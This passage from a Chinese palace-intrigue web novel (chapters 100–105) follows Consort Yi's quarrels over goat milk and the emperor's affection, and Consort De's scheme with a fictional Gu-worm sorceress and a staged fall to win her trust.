他本来不想多理她,但想起德妃父亲在众臣弹劾姜念秋时持中立态度,就把那些残忍的话收了回去。 他没说话,德妃更是眼泪迅速淌了出来,把季寰都惊着了。 这样一出,可不是季寰能想到的。 良久,他还是出声了,连叹气都带着些疲惫的无奈:“德妃,你意不在此,做你自己便已足够。” 明明是个只知道赏花听曲儿的人,偏偏要学着姜念秋种地。 学还学不像。 姜念秋在种地的时候,发间只用一支发簪固定住头发便可,身上也断然不会穿燃料稀少的紫色罗裙。 德妃的一切都显得那么刻意。 反倒有种画虎不成反类犬的感觉。 德妃的计谋被戳破了,她的脸在一瞬间烧红,捏着水瓢的手把羞愧全撒在了那上面。 季寰拍拍德妃肩膀:“以后不用起这么早。” “送德妃回去歇息吧。” 说完后,季寰转身边走,没给她半句安慰。 德妃立在原地,脸烫得都能在上头烙饼。 宫女吓得连话都不敢说半句。 在德妃心中,有些深深埋着的嫉妒此刻全部被激发了出来。 她病了这么久,皇上连一句关怀的话都没有,直接将她“东施效颦”点明了。 没给她半分面子。 “娘娘……” 德妃再也忍不住泪意,这回倒是真的哭了。 “走!回宫!”她压抑着声音,与季寰背道而驰。 而季寰,压根儿没有因为德妃的事儿上心半分。 直到走到鸡舍,才发现姜念秋压根儿没来。 守着鸡舍的宫人见季寰到来,连忙跪下行礼,听他问起姜念秋,宫人回道:“皇上,宜妃娘娘说昨日身子疲乏,今儿个不来的。” 季寰立刻撇撇嘴。 什么身子疲乏,他两三日没去折腾她了,且听密卫说兰台宫中的植株都到了不需怎么用心就能长好的阶段。 估计就是单纯地要睡懒觉起不来罢了。 罢了罢了,她的性子就是这样,横竖谁也模仿不了。 季寰转身离开去上朝了。 第100章 初次交锋 第一百章 初次交锋 季寰去上朝了,兰台宫里一片寂静,姜念秋睡得正香,嘴巴动了动,压根儿不知道自己居然也能被四妃之一模仿一番。 早起后,姜念秋刚刚洗漱完,秋雁便端了一碗羊奶进来了。 一闻到熟悉的羊膻味,姜念秋溜得特别快,立刻躲在了屏风后面。 秋雁早就摸清了姜念秋,一下就在屏风后抓住了她。 她无奈道:“主子,您就喝些吧,这羊奶对身子好。” 是好。 喝多了就跟孕吐一样,是不是算提前有喜? 羊奶碗距离姜念秋太近,她赶紧别过头去,结果还是被浓重的味道给刺激到,直接作呕起来。 嗓子里是一种难耐的感觉。 “秋雁,你有法子能去除这羊奶中的奇怪味道吗?” 姜念秋坐在椅子上,就是不端碗喝奶。 秋雁凑近闻了闻:“奴婢闻着挺正常啊。” 就是普通不过的奶味儿,怎的主子这么讨厌? 她今儿个还在奶中加了些蜂蜜进去,可主子还是受不了。 她辨别不出主子说的味道,就算是空有医术也是做不到。 姜念秋一脸煎熬,跟下了多大的决心似的,伸出食指来:“这真的是最后一次了,我真的不需要羊奶来补身体的,真的!” 就是喝个羊奶,她的声音里居然带着哭腔了。 原本以为换了具身体,她能克服自己不喜欢羊奶的弊端。 没想到当上次太医来诊断后,告知秋雁要经常温一碗羊奶给她喝后,羊奶一端到她面前,生理性的呕吐依旧是止不住。 秋雁左右为难:“主子,可这是皇上特意嘱咐奴婢听太医交代的,奴婢不敢回绝呀……” 若是让皇上知道她的任务没完成,可是要问罪的。 “算了,我也不为难你了,去吧。” 喝完了羊奶的姜念秋更是生无可恋。 她也不顾刚刚才梳好的发髻,砰的一下瘫倒在床榻上。 【这时候就不能让羊奶变变味道或者改喝牛奶吗?】 别人都能喝羊奶,可姜念秋克服了这么久,还是不行。 那既然如此,她可以选牛奶呀! 偏偏她提了好几次不想喝羊奶,季寰全视若无睹,还放言说她不喝他就盯着她喝。 真是无比痛苦。 系统也没料到她的这个弱点,沉吟片刻后道:【除非你劝动季寰让他知道牛奶一样效果好。】 这个时候的人更喜欢用牛奶来沐浴。 至于那些牛奶奶制品,大多是边疆外的人喜爱,梁朝人没有那般喜爱。 他们更喜欢性温和的羊奶。 姜念秋哼了一声:【你以为我做不到啊,我做成了有什么奖励?】 【奖励就是你不用再喝羊奶了。】 这事儿纯粹是跟姜念秋自己有关,不是系统发布的任务,所以自然不会触发任何奖励。 越想羊奶越觉得反胃,姜念秋从床上翻身起来:“没有就没有!我肯定不能再喝这羊奶了!” 正好见着小翠,姜念秋便道:“小翠帮我梳下头发,然后我们去见皇上!” 小翠一脸茫然,主子今儿个怎得这么主动要去见皇上啊? 不过好歹是她愿意,小翠自然没有丝毫怨言。 赶上季寰刚刚下朝,李德全报来说德妃在外等候了许久。 季寰突然想起上次德妃松开的桂花糕他尝都没尝,碍于她父亲,这回也没拦着她了:“叫她进来吧。” 进来后,德妃一直在就早上做的事儿向季寰道不是,说得季寰耳朵都要起茧子了。 就在这时,李德全不好意思地打断了略显尴尬的氛围。 “皇上,宜妃娘娘来了,您可要见见?” 季寰下意识地看了看外头的天光。 这时间,她能来倒是个稀罕事儿。 与德妃被拒绝不同,季寰瞬间便让人请进来。 德妃眼眸闪过寒光,手故意搭在了季寰身后的椅背上。 这样一来,从姜念秋进来的角度,便能觉得二人无比亲密。 她的眼神马上变了。 一见到姜念秋,德妃便换了一副嘴脸,笑着上去拉她的手,说不出的温柔和蔼:“宜妃妹妹来了,姐姐好久都没见过妹妹呢!” 姜念秋对德妃不怎么熟悉,从脑海里调出为数不多的记忆。 就算是原主,也跟这位德妃关系没那么好,她这样子做无非是在季寰跟前演戏罢了。 为了圆好这出戏,姜念秋跟着说了句不会出错的话:“是臣妾粗陋,不敢在众位娘娘前露怯。” 季寰能看出姜念秋在看德妃时有些不自在,有的话也确实不应该在外人在的时候说,便叫德妃先回去。 可德妃离开后,姜念秋竟不看季寰一眼,立刻转身也要走。 他们有几天没见了。 季寰不知又哪里惹到了这位小祖宗。 偏偏心里有惦念着她。 季寰眼疾手快,他身高腿长两三步便追上去,硬生生地拖着姜念秋回来。 他亲昵地将人卷在怀里,低低道:“怎么刚来就要走?” 姜念秋闻见他走过来带动的那股子浓重的香气,再加上非得喝羊奶的逼迫,就对他没什么好脸色。 一句话都不说的姜念秋不像是她的作风。 “怎么了,谁又惹到你了?嗯?” 后半句简直是贴着姜念秋的耳朵说的。 如果是没看见德妃故作亲昵,很有可能姜念秋会就此软下来,可刚才那一幕就跟牛皮糖一样粘在她眼前就是挥之不去。 越想越气不过,她甚至还哼了一声:“皇上这屋子里好浓的胭脂味儿,怀里的更浓,呛得臣妾脑仁儿疼。” 季寰反应了一下,才意识到姜念秋这是醋劲儿上来了。 为了他人而吃醋,这大约是第二次了。 季寰看着姜念秋气鼓鼓的腮帮子,俊朗脸庞上笑容经久不散。 他伸出手,捏了捏姜念秋的鼻尖,话语间全是对她的宠溺:“妮子纵得越发厉害!” 姜念秋属实是被季寰同别人都不一样的态度给宠坏了,她此刻完全忘却了跟前是一位帝王。 耍起了小脾气。 她轻轻推开季寰的手,装作生气地看他一眼,挣扎着要离开:“那您不妨别纵着臣妾,臣妾走就是了。” 这样一副做派,带着小女子的娇俏,是季寰在她身上甚少见过的,逗得他爱不释手. 第101章 目的达成 第一百零一章 目的达成 季寰沉默了一会儿,紧紧挨着姜念秋的耳边说道:“倘若你这般在意这件事,不如朕告诉你个秘密,只是……作为交换你不能再生朕的气,也不能作弄朕。” 后半句话里带着些许尴尬。 姜念秋转过头去看他。 还真是很难见到季寰如此。 没准儿还真是个天大的秘密呢? 姜念秋停止挣扎,在那儿戳着等秘密。 “朕没碰她。” 说完,季寰用力地搂了一下姜念秋,下巴就搁在她的肩膀上。 身为帝王,要他说出这事儿来,着实叫人丢了全部颜面。 偏偏姜念秋还是个慢性子。 约莫过了一分钟,姜念秋才是反应过来自己听见了什么惊天言语:“什,什么?” 什么叫做他没碰她。 是刚刚没碰过德妃,还是有别的含义? 说是刚刚没碰过吧,季寰的语气过于奇怪,可若是引申的含义,姜念秋着实不敢相信。 季寰轻叹一声说道:“朕没有碰过后宫中的任何人,从头至尾,就只有你一个,这次可满意了?” 待他说完后,就跟一道闷雷突然间在姜念秋的脑子里轰隆隆地炸开没什么两样。 不是吧…… 季寰身为帝王,却从未碰过其他的女人? 可是,他和她的初次可是翻来覆去地折腾。 那股子劲儿绝不像是个愣头青呀! 姜念秋仍耍着小性儿,作势要推开皇帝,嘴里念叨着:“那谁知道,臣妾入宫不算早,您与他人柔情蜜意臣妾从何知晓?” 她又不可能满宫里追着人家问,皇上有没有宠幸过你…… 而且……他和她说这些干什么……她一点儿都不在乎! 越想,姜念秋的脸便越红。 有些话既然说开了,亦没有藏着掖着的意思。 季寰搂在她腰间的一只手稍稍收紧,就是不允许她逃离自己的掌控。 另一只空出来的手还有心思替她整理好因为挣扎动作而掉落的碎发。 每一个字都牢牢地扣在姜念秋心上:“朕从未与任何人行周礼,正因如此,后宫诸人才会对你恶语相向。” 如果说只是由于后宫来了新人,偶尔尝个新鲜,也不会有多少人说三道四。 可问题在于,任何人都不曾成为被端上来的菜肴。 这便会激发许多矛盾。 所以姜念秋才会成为众矢之的。 起初,季寰是不在乎姜念秋,所以对此视若无睹。 到了后来,他竟也有了怜香惜玉的情感。 许多从前想不通的事儿此刻全都解释清楚了,姜念秋闹了小脾气,从鼻子里哼出一声。 然后故意气他;“那皇上还不赶紧雨露均沾?” 一边说,姜念秋还一边给季寰甩脸色瞧。 整个宫中,只怕也只有她敢如此了。 季寰不怒反笑,右手虚空拧了拧她白·皙·柔·软如凝脂的脸颊,小声问她:“你当真要朕如此?” 雨露均沾后,她这盘菜会排到何处? 一个没有家世的女子,又失去了他的照拂,能活几何? 听完季寰讲的,姜念秋不做声了。 没有宠爱,在宫中寸步难行。 其中利害姜念秋已然体会过。 见她故作矜持地把脸转向一边,磕磕巴巴地问他:“臣妾……臣妾又学着做了桂花糕,皇上再尝尝吧!” 季寰唇边笑容更大:“好,朕尝。” 自她出现在自己身边后,桂花糕出现的频率也越来越高。 他也没有那么对这道高点投鼠忌器了。 哪怕姜念秋做的并没有那么好吃。 有些嬉闹声根本无法被窗户上的明纸所掩盖住,窸窸窣窣地传进了德妃的耳朵里。 每一声都像是踩在她一颗心上。 德妃死死攥握着衣角,待到身边无人,才问身边的贴身宫女玉阳道:“本宫父亲可回信了?” 玉阳低下头道:“回娘娘的话,您父亲尚未回信,但托了人来给您请平安脉。” 各宫妃嫔本必须由宫中太医来诊治,可由于德妃身子从来是由她母家的医者能摸清,所以季寰才格外开恩允准每月来一次。 这回,也是时候派人来了。 不过,来的究竟是医者,还是别的人,暂时还无从知晓。 只能从德妃淡笑之中的玩笑话里略知一二:“好……本宫倒要看看,巫蛊、陷害、栽赃都毁不了她,那子嗣无望是否对她一样毫无威胁!” 正清宫内。 季寰不得不承认姜念秋是有些做桂花糕的天分在的。 仅仅是几次摸索,姜念秋的桂花糕已经做到季寰能吃下去两三片的程度了。 正好被季寰哄好了心情,姜念秋也终于想起来自己来正清宫的目的。 她狗腿地站在一旁给季寰研墨:“皇上,臣妾有个不情之请,不知皇上可否答应。” 季寰抬眼,他就知道,这妮子没有什么事儿是绝对不会跑来的。 “讲来听听?” 趁着他现在心情不错,姜念秋嘴巴一快,将养奶牛的事儿吐露出来。 闻言,季寰有些奇怪:“多养奶牛?” 她怎么会突然要养奶牛? “不想养鸡,改奶牛了?” 想起一出是一出吗? 姜念秋连连摇头,一副忧国忧民心系万家的样子:“不是臣妾养,臣妾是听闻牛奶比羊奶更适口、产量更多,上至七十老妪,下至三岁娃娃都可以喝,养多奶牛也能供给前线士兵,咱们为何不试试看呢?” 虽说这件事儿是带着“自私”的成分来说的,可不可否认是实话。 羊儿产奶量完全比不上奶牛,从长远来看,牛奶还是比较有发展潜力的。 没想到姜念秋的话刚说出来,季寰便一眼看透了她。 他眯着狭长的丹凤眼,下巴微微抬起问她:“朕看你只是不喜羊奶味道所以才谏言的吧。” 好几次他去兰台宫,都发现姜念秋跟孩子似的,来来回回地折腾小翠和秋雁两个人,就是不肯好好喝羊奶。 这个时候也差不多是刚喝完没多久。 按照时间推算,姜念秋很有可能是出于季寰猜测的想法才来劝说的。 得,怪不得人家能做皇帝呢! 这推理能力实在太好了。 姜念秋摸摸鼻子,不好意思地笑笑。 很快,她便正色道:“可是臣妾确定牛奶要比羊奶更容易获得呀,皇上,您就信臣妾一次吧,臣妾可以天天喝牛奶来证明!” 第102章 德妃善举 第一百零二章 德妃善举 天天喝牛奶姜念秋完全可以接受。 反正宫里的人还拿牛奶泡澡呢,根本不缺牛奶。 季寰思衬起来。 也不是他舍不得在边疆养奶牛,而是出于对姜念秋的考虑。 太医说,她的身子虚弱,辅以羊奶来进补能呵护肠胃,以免被药物侵蚀。 可如今姜念秋不愿意喝羊奶,该怎么办呢? “皇上,臣妾求您了!” 姜念秋使出杀手锏,蹲在椅子旁,手抓着季寰的胳膊轻轻摇晃着。 季寰没办法,只好松口:“罢了,你喜欢的话,就顺着你来吧。” 大不了再叫太医出些别的进补的方子也就罢了。 省去此丫头天天烦扰的麻烦。 目的达到,姜念秋噌地站起身来,脸上是脱离苦海的笑容:“臣妾多谢皇上。” 德妃宫中,果然已经有从她母家请来的人在候着了。 此人是位四十有余的老妇,见到德妃熟练跪下:“参见娘娘,一别数年,娘娘别来无恙!” 她虽说身穿梁朝服饰,可面相及动作却完全与梁朝人不同。 “老妇人请起,想必本宫父亲已经将来龙去脉同你说清楚了?” “老妇自来,便是解娘娘心头之忧的。” 说着,老妇从袖口中掏出来一个很是精致而小巧的盒子。 那盒子上面雕刻的图案是数十条蛇诡异地盘旋在一起,光是看着就让人觉得慎得慌。 老妇将盒子递到了德妃眼跟前,随后将里头的东西做何用处一五一十地交代清楚。 玉阳听了,浑身汗毛倒竖,就连德妃也有些身子后仰的趋势。 玉阳微微躬身:“德妃娘娘,奴婢觉得此法太过冒险了,若是被皇上发觉……” 盒子里的蛊虫不过针尖大小,可她们知道,作用无比厉害。 真是被皇上追究起来,德妃娘娘的罪过只怕是不小。 德妃一直都盯着盒子里毫无生机的蛊虫。 老妇察觉到德妃的想法,将蛊虫收了起来,随后道:“娘娘尽管放心,蛊虫哪怕是发起来也是极小的,混入食物之中绝无任何问题。” 老妇是德妃家里养了许多年的老人儿了。 她说没事儿,应该便不会出事儿。 德妃没回应玉阳刚才的劝说,反倒是微微转过头去问她:“打听清楚了吗?” 一听这话,玉阳便明白劝说是无用的。 主意已经打定了。 玉阳只能是依着德妃的话头往下说:“是,奴婢已经问清楚了,宜妃明日一早便会去鸡舍。” 还好御花园的那些个匠人们和鸡舍的宫人关系不错,所得消息应当是靠得住的。 德妃思虑了一会儿。 待到她和老妇深邃幽暗的目光对在一起时,德妃就跟中了魔似的点头:“好,明早你亲自去布置一切,不然本宫心里不踏实。” 想要成事,便需要一步一步地让姜念秋跳进陷阱里头来。 她需要一个契机。 不能出任何的差错。 玉阳附身下去,无奈道:“奴婢明白。” 传到德妃那儿的消息是没错的,姜念秋确实要去鸡舍。 可她没料到姜念秋前一日被季寰折腾狠了,没按照原来的时间起来。 德妃左等右等都不见人影,几乎要斥骂玉阳一顿然后离开。 不想听见远处有宫女的声音隐隐约约递送过来:“主子慢些,也不急着这一时半刻的。” 德妃一听声音赶紧藏起来。 从树叶的缝隙之间果真看见了风风火火地往鸡舍那边赶的姜念秋。 德妃给玉阳一个眼神,玉阳便悄悄地绕到了对面去。 好几十颗珠子凭空出现在了原来一点儿东西都没有的青石板上。 此时天光还是朦朦胧胧的,不注意看还真看不着。 姜念秋赶在小翠前面,满心都是看看自己的鸡崽子有没有长大,便没注意脚下。 小翠比她细心些,察觉到了前面闪闪的光。 她意识到什么,低喊道:“主子当心!” 与此同时,还有一道别人的声音一同出现:“妹妹当心!” 姜念秋踩到了珠子,本来没什么,但是被德妃突然跑出来的身影和她的喊叫声吓到,脚下一滑,身子踉跄要摔倒。 还是德妃上前,在她的身上垫了一下。 这下好了,两人双双摔在地上,德妃的手也没做准备死死地撑在地上。 那一瞬间,手腕传来钻心的痛楚。 她皱着眉,咬死嘴唇,就这样还没忘记去“关心”姜念秋:“妹妹没事儿吧?” 一切发生得太快,姜念秋根本来不及反应。 小翠和玉阳也赶了过来,各自去查看主子的身子。 姜念秋对着小翠摇摇头,转过头去,看见了德妃僵在那儿的手:“臣妾无事,娘娘您受伤了!” 此番受伤确实是德妃意料之外。 疼痛是真的。 她的手常年没受过委屈,这样子忽然间受了她身子重量的锉磨,自然是疼的一时半会儿动不了。 可还是得装。 德妃很是勉强得扯出一抹笑来:“不碍事的。” 说是不碍事,但手腕不是这么体现的。 她的手腕正在以肉眼可见的速度变得红肿。 姜念秋及时发现了这一点。 此时,她全然忘记了德妃昨天还是挑起她和皇帝之间醋意的主儿。 “怎么会无事呢,都肿了……” 姜念秋动作极其缓慢地动了动她的手指,德妃立时疼得喊了出来。 她怎么说也是经历过些“体育与伤痛”的科普的。 光是看着,姜念秋也能判断出个七八分:“娘娘的手只怕是挫伤了。” 再怎么说,人家也是为了她才受的伤。 姜念秋不可能做到高高挂起。 她看看御花园周边,好像也没个随侍的太医。 于是,姜念秋给出了一个解决方案:“这儿离兰台宫不远,不如娘娘先到臣妾宫中歇息,臣妾叫人去请太医?” 德妃垂下的眼眸盯着自己的手,心里却是突然尘埃落定了一下。 猎物到了陷阱边儿了。 只是手上太疼,让德妃暂且思考不了太多。 她点点头,一脸的无奈:“也好,只是要叨扰你了。” “娘娘说哪里话,您救了臣妾,该是臣妾谢谢娘娘才是,”姜念秋转头吩咐小翠,“小翠,劳你去请太医。” “是,奴婢马上去请!” 第103章 靠近 第一百零三章 靠近 玉阳听得姜念秋已是宜妃,竟然吩咐下人做事还会用“劳”这个字眼,不由得愣了一下,都忘记了马上把德妃搀扶起来。 还是浇花的匠人查看周围是否有遗落,发现了她们,赶紧收拾了烂摊子。 回到兰台宫中后,姜念秋亲自去冰盒之中取了些冰块,用皮毛包裹起来,蹲在她脚边,丝毫没有架子地给她敷着手腕。 “娘娘,臣妾先拿这个冰敷一敷看看能不能好一些。” 冰敷起来伤势能好得快些。 德妃垂眸,看着她低自己许多的身位,居然暂且忽略了她手腕处传来火辣辣的疼痛。 “多谢。” 姜念秋摇头:“娘娘说哪里话,是娘娘帮了臣妾,臣妾要谢谢娘娘才是。” 只是,有一个奇怪的点闪过姜念秋脑海。 为何,御花园的青石砖上,会出现那么多珠子呢? 没给她太长时间思考清楚这个疑点,太医火急火燎地出现在了兰台宫门口。 “主子,太医来了。” 专业的来了,姜念秋这个“赤脚医生”便得让位。 太医跪下,细细地查看起德妃的伤势。 一番诊断后,太医示意玉阳将德妃放在一边的冰拿起来继续敷。 “回禀娘娘,您的手确实是挫伤了,但好在宜妃娘娘处理得当,敷上药膏三四日便可无恙了。” 这位太医是当初皇帝请来给姜念秋诊断身子的那一位。 绝无任何可能徇私。 “有劳太医跑一趟了。”德妃颔首道。 送走太医后,德妃冲着姜念秋缓缓笑了:“还好,是本宫的手挫伤,若是你,只怕会耽误侍候皇上。” 这话令姜念秋从慌乱中抽身,想起了昨天季寰和自己说的惊天大秘密。 那脸颊瞬间便通红一片。 德妃见了,心中一阵酸涩,可还是得装作一副大度的样子。 她起身,用好的那只手拍拍姜念秋的肩膀:“怪本宫,忘记了宜妃脸皮薄。” 既然德妃没事儿了,那姜念秋便能问一问自己心中的疑惑了。 珠子暂且不能提,有些太过明显。 那就从她为何会出现在那儿开始。 “娘娘,您怎的那么早去赏花儿?”姜念秋亲手为德妃倒了一杯茶,放在她面前问道。 她养鸡也有些日子了。 这些天里从未见过任何一位嫔妃在那个时间点出现。 德妃的出现,是否太过巧合了? 对此,德妃应付起来也是得心应手。 她“哦”了一声:“本宫在御花园里种了几盆牡丹,那牡丹也是着实奇怪,只有填御花园的土才能长得好,这几日去侍弄,听见声音,这才出来看看。” “娘娘喜欢种花儿啊?”姜念秋不动声色地跟身后的小翠交换了一下眼神。 小翠很小很小幅度地点了下头。 德妃爱花,众人皆知。 看来这个理由是说得通的。 再加上德妃的表情实在看不出破绽来,姜念秋的警惕心少了许多。 德妃自嘲道:“本宫比不上你,不过是打发时间罢了。” 随后,德妃还说了好多程度刚刚好的“奉承话”,每一句都说到姜念秋的心坎上。 几番对话下来,姜念秋已经完完全全被德妃感染。 她甚至身子都往德妃那边靠近了些:“那我这也算是和娘娘的喜好撞在一起了。” “本宫……”德妃注意到姜念秋不喜欢用臣妾,也从未跟小翠等宫人用“本宫”自称。 她猜测这是个不喜繁文缛节的女子。 于是她学着改掉了这个自称:“哦,我听说妹妹对务农有些造诣,不妨待到妹妹空闲时让姐姐我讨教讨教?” 姐姐妹妹的,姜念秋已经习惯了宫中人这样子称呼。 一时间居然被带跑偏了。 也没觉出有故意靠近的嫌疑。 她不好意思地挠挠头,解释:“哪儿担得起娘娘讨教,您尽管来就是了。” 德妃眼眸深不可测,唇边的笑亦是极其标准的弧度。 小翠将她的每一个细节都收入眼底。 说不出来哪里奇怪。 德妃觉得今儿个该说的也都说了。再待下去只怕会有些马脚漏出来,于是提出要离开。 “好,那今日我就不打搅你了。” “娘娘慢走,娘娘也千万要保养好手腕。” 姜念秋转身时,瞧见了眉头紧紧皱着的小翠还在看着德妃离开的方向。 她朝着小翠眼前晃了晃手:“怎么了?” 小翠跟在姜念秋身后回去,和秋雁一起说出心中的困惑:“主子,德妃娘娘以前可从不和您说话,突然间这样……” 秋雁也是点头如捣蒜。 她从前在太医院做事,听闻这位德妃娘娘因为身子不是那么康健,从来不会去任何一位宫嫔的院子。 今儿个怎么破了戒,来了她们兰台宫里? 还喝了一杯外头的茶水。 有些古怪。 姜念秋知道她们两个人是为自己好,但是接触下来,觉得德妃跟贵妃一样都是挺好的人。 “我明白你们的意思,我会小心的。” 她完全忽略了突如其来的珠子。 小翠和秋雁你看看我,我看看你,也不能太过失了规矩:“主子心中有数奴婢就放心了。” 过了两三日,德妃手腕上的红肿果然都消失掉了。 正好,老妇也将让玉阳去请德妃来看成效。 在德妃宫中阴面的一个小偏殿里,房子四角都放置着一盆冷水。 以此来营造着阴冷环境。 原本毫无生机的蛊虫此时竟然在桑蚕叶上活泼地扭·动着。 每看一眼,德妃浑身都会泛起恶寒。 她只是听说母家此人的本事,亲眼所见这还是头一次。 老妇指了指那蛊虫:“娘娘,蛊虫再过五日便是效用大增时期,娘娘若想效果倍增,只怕要早日做准备了。” 玉阳转眸去看自家主子。 只要主子这时收手,一切还好说。 那宜妃也并非是那么不好相处的主儿。 没准儿相交甚好还能博得皇上的青睐呢? 可惜,德妃此刻已经处于自己给自己营造的囚牢之中。 她要求此事一定能成。 决不允许夫君被人一直霸占着。 德妃深深地吸了一口气,对着老妇说道:“本宫明白,虫师只需好生供养蛊虫便是。” “老妇定当竭尽全力,娘娘尽可放心。”老妇颔首。 第104章 试探 第一百零四章 试探 “玉阳,你去挑一盆开得最好的牡丹,两日后本宫要亲自送去兰台宫。” 得亏之前做过准备,加上德妃本就挺喜欢花儿的,那些个用来讨好皇上的牡丹还叫人好好照看着,所以此刻也能派的上用处。 玉阳俯身:“是,奴婢知道了。” 德妃望着桑蚕叶片之上扭`动的蛊虫,缓缓地将手握成拳。 两日后,姜念秋刚刚从鸡舍回来,正躺在院子里的摇椅上补回笼觉呢,外头响起太监高亢的喊声:“德妃娘娘驾到——” 根本没让兰台宫的宫人来通报,不过小翠和秋雁也对此没那么抗拒,毕竟德妃的位分确实高一些。 姜念秋惊醒,眼神还带着些懵懂。 德妃? 她怎么这么突然就来了? 在一旁伺候的小翠搀扶着姜念秋起来,走到宫门口迎接:“臣妾恭迎娘娘,娘娘突然驾临,臣妾都没个准备,实在惭愧。” 德妃满脸笑容,一上来就亲昵地握上了姜念秋的手:“咱们姐妹间说说话,还要什么准备呀?” 小翠自然地退后,和秋雁迅速交换眼神。 私下里,她们都以为德妃上次说的经常来看看不过是客气的话。 可当德妃真的来了,那就另当别论了。 后宫诸人交往,除却贵妃以外,人人皆为利往。 德妃图什么? 为了多在皇上跟前露脸,和主子做姐妹情深的戏码? 可主子并不能左右皇上去谁那儿或不去谁那儿。 她们二人的确看不清德妃的目的,但都下意识地提起警惕来了。 一番根本没必要的寒暄过后,姜念秋看向德妃身后抱着七八盆牡丹的宫人:“娘娘,这是……” 德妃缓过神来,松开姜念秋,热情地给她一盆一盆地介绍着:“这是我亲自给妹妹挑选的牡丹,妹妹看看可还喜欢?” 牡丹花儿颜色各异,红的、粉的、连珍稀的绿色和黄色全有。 每一朵都正在盛放,花香馥郁,确确实实是难得的品种。 姜念秋还没靠近花儿呢,鼻子下便传来了阵阵花香。 要真是拿这些花朵榨成汁液,将其混入香皂之中,岂不是更好,更鲜艳美丽? “娘娘前些日子就是在捣鼓这些花儿吗?” “是,为这事儿还和皇上闹了个笑话,别提了,你且说合不合眼缘?” 德妃口中的笑话,姜念秋是听说了的。 前些日子,貌似季寰还误会了德妃,说她是想要模仿姜念秋,在御花园之中种牡丹。 在她心里多多少少种了跟刺。 但是今儿个见到了真牡丹,那根横亘在心里的刺好像在悄悄软化、消失。 她恭恭敬敬地行礼:“娘娘手艺胜过花房匠人百倍,臣妾自然喜不自胜。” “妹妹喜欢就好,也算不辜负它们盛开一场。” 姜念秋稍稍侧头,示意小翠带着人将那些花儿收下。 而秋雁则上前来,给二人沏茶倒茶。 上次来兰台宫德妃就注意到了,宜妃宫里的用度貌似和妃位并不相匹配。 妃位可用描金器具,就是在花样上没那么繁复。 可端上来的茶具仍旧是一套冰裂瓷。 淡得厉害。 德妃在心底嗤笑:到底是是小家子出来的,就是不懂规矩。 “对了,我娘家庄子上有人极通务农之术,我叫人把要领写了下来,妹妹看看可有用处?” 玉阳将那本急匆匆叫人在两天之内赶出来的书简递交给姜念秋。 为了博得姜念秋的信任,那上头的每一道法子全是务农之人的心得,确有其事。 姜念秋只是简单翻了翻,也能看出其中的含金量。 德妃对她还真算不赖呢。 看来,这宫中除了贵妃以外,还是有些真情在的。 或许是贵妃的存在弱化了姜念秋的心理防线,她很快便接受了德妃的好意。 甚至对她笑得极其真诚:“臣妾谢过娘娘,娘娘尝尝这茶,是臣妾亲自炒制的,味道倒是和宫中的茶不太一样呢。” 德妃笑笑,不过轻轻抿了抿,便称赞她说好喝。 见茶水未曾下去,又想起德妃身子骨不是很好,姜念秋便没强迫。 被季寰派去盯着兰台宫一举一动的密卫暗中将这一切记在心中,在德妃四进兰台宫的时候趁着众人不备,在夜色中去往正清宫禀报。 近日来赶上了各地上奏的高`峰期,奏折堆积了一大堆。 季寰已有三四日宿在正清宫了。 密卫来时,季寰刚刚瞧完一本奏折,正提笔要在上面写下朱批。 密卫压低声音道:“皇上,这几日德妃娘娘往兰台宫去的勤了些,连着去了四次了。” 密卫此话一出,恰好打断了季寰要落笔的想法。 德妃? 她想来不肯与任何人为伍,就连良妃和贤妃都是极少来往,怎得突然去兰台宫了? 加上上次在御花园中的偶遇,季寰不认为德妃是同贵妃一样,和宜妃有多深厚的情谊。 他微微蹙眉道:“怎么回事?” “回皇上的话,是前几日德妃娘娘救了宜妃娘娘一次,才有了这因果。” “救人?” 这倒是奇怪了,德妃连做戏都不允许自己的手有丝毫灰尘,她会冒着风险去救人? 密卫接着解释道:“前几日,宜妃娘娘照例去鸡舍照看,不知怎得,御花园地上突然多出来些珠子,是德妃娘娘拉住了宜妃娘娘才免去摔倒,还挫伤了手。” 御花园中的匠人怎会如此不小心。 “珠子呢?” 密卫摇头:“当时德妃娘娘手下之人同御花园匠人已将珠子销毁,微臣无从获得。” 出了事,德妃第一时间不是问罪匠人,而是叫人把珠子收拾起来。 还派人跟着。 古怪啊…… 季寰唇角微微提了一瞬。 从他喉间冒出的短促的一声笑,密卫便知道自己的猜想不错,是该和季寰禀报的。 季寰也没说别的,只是让密卫继续去盯着兰台宫一举一动。 待到密卫离开后,他叫了李德全进来,吩咐道:“传旨,御花园洒扫匠人未能及时清扫院子,导致德、宜二妃手上,罚俸三月,管事儿的去领十板子。” 李德全一脸不知情。 这事儿他怎得不知道? 他赶紧收敛起心神来,免得被季寰问罪首领太监职责尚未行使:“是,奴才这就去办。” 第105章 弦外之音 第一百零五章 弦外之音 去到兰台宫的时候,季寰在宫门口便闻到了一股子熟悉的香气。 貌似是跟那个西洋人献上的东西味道差不多。 季寰走进去,恰好看见姜念秋弯个腰在一处土炉子前观察着火势。 他出声问道:“时辰已晚,不睡觉这是又要折腾什么?” 听见声音,姜念秋转过头来笑道:“皇上来啦?” 她指了指炉子里面的东西:“臣妾烤了蛋糕,皇上待会儿尝个鲜。” 要做蛋糕是下午才起的念头。 得亏兰台宫角落还能垒一个不大不小的小火炉,能满足姜念秋这个小馋虫不说,还能满足其他用途。 季寰失笑。 这丫头,已然将兰台宫看作是她自己私产了,想干什么便干什么。 丝毫规矩也没有。 但季寰始终没说一句,眼里只有宠溺神情。 坐在石桌旁,季寰发现了放置在桌上的一卷书简,他打开看了看,发现并非是姜念秋的字迹。 “这个是?” 姜念秋看了一眼,“哦”了声解释:“这是德妃娘娘送给臣妾的务农心得,臣妾还没来得及收呢。” 起念要做蛋糕,也是想要还一还贵妃和德妃的人情。 这东西是个稀罕玩意儿,比那些送金银珠宝更带有人情味儿一些。 现在烤的不过是做个实验看看效果而已。 季寰……算是实验对象。 只不过打死姜念秋她也不敢说真实目的。 季寰没心思琢磨姜念秋脸上的小聪明,他修长的手指在书简上轻轻地点了点,问道:“德妃常来?” 姜念秋没陪着他坐在石桌旁,而是找个矮凳坐在火炉旁方便照看火势, 一说起德妃,她的神情甚至温柔很多。 同说起贵妃是一样的。 “是,娘娘来了几次,臣妾很尊敬德妃娘娘。” 尊敬…… 她从前同样算是尊敬皇后,可皇后做了什么? 许多事情其实不必明说的。 季寰注视着那卷书简,旁敲侧击地说道:“德妃在宫中日子长久,她也不同于贵妃出身武将,同她说话投趣?” 德妃家中是文官出身,世世代代都是。 文官要比武将心思更加缜密。 